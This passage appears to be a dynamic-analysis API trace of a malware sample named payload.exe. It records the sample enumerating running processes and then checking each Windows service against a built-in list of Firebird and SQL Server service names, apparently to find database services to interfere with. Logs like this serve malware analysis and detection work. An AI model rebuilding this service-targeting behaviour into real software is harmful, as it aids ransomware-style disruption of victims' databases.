(lpString="svchost.exe") returned 11 [0150.310] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.311] lstrlenW (lpString="svchost.exe") returned 11 [0150.311] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.311] lstrlenW (lpString="svchost.exe") returned 11 [0150.311] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.312] lstrlenW (lpString="svchost.exe") returned 11 [0150.312] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.312] lstrlenW (lpString="svchost.exe") returned 11 [0150.313] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.313] lstrlenW (lpString="svchost.exe") returned 11 [0150.313] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.315] lstrlenW (lpString="svchost.exe") returned 11 [0150.315] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.315] lstrlenW (lpString="svchost.exe") returned 11 [0150.316] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0150.316] lstrlenW (lpString="spoolsv.exe") returned 11 [0150.316] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.317] lstrlenW (lpString="svchost.exe") returned 11 [0150.317] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0150.317] lstrlenW (lpString="audiodg.exe") returned 11 [0150.317] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0150.318] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0150.318] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0150.318] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0150.319] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0150.321] lstrlenW (lpString="Memory Compression") returned 18 [0150.321] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0150.322] lstrlenW (lpString="sihost.exe") returned 10 [0150.322] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.322] lstrlenW (lpString="svchost.exe") returned 11 [0150.322] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0150.323] lstrlenW (lpString="taskhostw.exe") returned 13 [0150.323] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0150.323] lstrlenW (lpString="msoia.exe") returned 9 [0150.323] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0150.324] lstrlenW (lpString="explorer.exe") returned 12 [0150.324] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0150.325] lstrlenW (lpString="SearchUI.exe") returned 12 [0150.325] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0150.325] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0150.325] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0150.326] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0150.326] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0150.326] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0150.326] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0150.327] lstrlenW (lpString="dllhost.exe") returned 11 [0150.327] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0150.327] lstrlenW (lpString="payload.exe") returned 11 [0150.327] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0150.328] lstrlenW (lpString="cmd.exe") returned 7 [0150.328] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0150.329] lstrlenW (lpString="conhost.exe") returned 11 [0150.329] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0150.329] CloseHandle (hObject=0x300) returned 1 [0150.329] Sleep (dwMilliseconds=0x1f4) [0151.302] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69d998 [0151.302] EnumServicesStatusExW (in: hSCManager=0x69d998, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0151.302] GetLastError () returned 0xea [0151.302] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x6f5958 [0151.303] EnumServicesStatusExW (in: hSCManager=0x69d998, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6f5958, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6f5958, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0151.303] CloseServiceHandle (hSCObject=0x69d998) returned 1 [0151.304] lstrlenW (lpString="Appinfo") returned 7 [0151.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0151.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0151.304] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0151.304] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0151.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0151.304] lstrlenW (lpString="AppXSvc") returned 7 [0151.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0151.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0151.304] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0151.304] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0151.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0151.304] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0151.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0151.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0151.304] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0151.304] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0151.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0151.304] lstrlenW (lpString="Audiosrv") returned 8 [0151.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0151.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0151.304] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0151.304] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0151.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0151.304] lstrlenW (lpString="BFE") returned 3 [0151.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0151.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0151.304] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0151.304] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0151.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0151.304] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0151.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0151.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0151.305] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0151.305] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0151.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0151.305] lstrlenW (lpString="CDPSvc") returned 6 [0151.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0151.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0151.305] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0151.305] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0151.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0151.305] lstrlenW (lpString="ClickToRunSvc") returned 13 [0151.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0151.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0151.305] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0151.305] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0151.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0151.305] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0151.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0151.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0151.305] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0151.305] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0151.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0151.305] lstrlenW (lpString="CryptSvc") returned 8 [0151.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0151.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0151.305] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0151.305] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0151.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0151.305] lstrlenW (lpString="DcomLaunch") returned 10 [0151.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0151.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0151.305] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0151.305] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0151.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0151.305] lstrlenW (lpString="DeviceAssociationService") returned 24 [0151.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0151.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0151.306] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0151.306] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0151.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0151.306] lstrlenW (lpString="Dhcp") returned 4 [0151.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0151.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0151.306] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0151.306] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0151.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0151.306] lstrlenW (lpString="Dnscache") returned 8 [0151.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0151.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0151.306] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0151.306] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0151.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0151.306] lstrlenW (lpString="DPS") returned 3 [0151.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0151.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0151.306] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0151.306] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0151.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0151.306] lstrlenW (lpString="DusmSvc") returned 7 [0151.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0151.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0151.306] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0151.306] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0151.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0151.306] lstrlenW (lpString="EventLog") returned 8 [0151.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0151.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0151.306] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0151.306] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0151.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0151.306] lstrlenW (lpString="EventSystem") returned 11 [0151.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0151.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0151.307] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0151.307] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0151.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0151.307] lstrlenW (lpString="FontCache") returned 9 [0151.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0151.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0151.307] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0151.307] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0151.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0151.307] lstrlenW (lpString="gpsvc") returned 5 [0151.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0151.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0151.307] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0151.307] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0151.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0151.307] lstrlenW (lpString="iphlpsvc") returned 8 [0151.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0151.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0151.307] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0151.307] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0151.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0151.307] lstrlenW (lpString="KeyIso") returned 6 [0151.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0151.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0151.307] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0151.307] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0151.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0151.307] lstrlenW (lpString="LanmanServer") returned 12 [0151.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0151.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0151.307] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0151.307] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0151.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0151.308] lstrlenW (lpString="LanmanWorkstation") returned 17 [0151.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0151.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0151.308] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0151.308] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0151.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0151.308] lstrlenW (lpString="lfsvc") returned 5 [0151.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0151.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0151.308] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0151.308] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0151.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0151.308] lstrlenW (lpString="lmhosts") returned 7 [0151.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0151.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0151.308] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0151.308] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0151.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0151.308] lstrlenW (lpString="LSM") returned 3 [0151.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0151.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0151.308] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0151.308] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0151.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0151.308] lstrlenW (lpString="MpsSvc") returned 6 [0151.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0151.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0151.308] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0151.308] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0151.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0151.308] lstrlenW (lpString="NcbService") returned 10 [0151.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0151.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0151.308] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0151.308] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0151.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0151.309] lstrlenW (lpString="netprofm") returned 8 [0151.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0151.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0151.309] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0151.309] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0151.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0151.309] lstrlenW (lpString="NgcSvc") returned 6 [0151.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0151.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0151.309] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0151.309] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0151.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0151.309] lstrlenW (lpString="NlaSvc") returned 6 [0151.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0151.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0151.309] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0151.309] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0151.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0151.309] lstrlenW (lpString="nsi") returned 3 [0151.309] 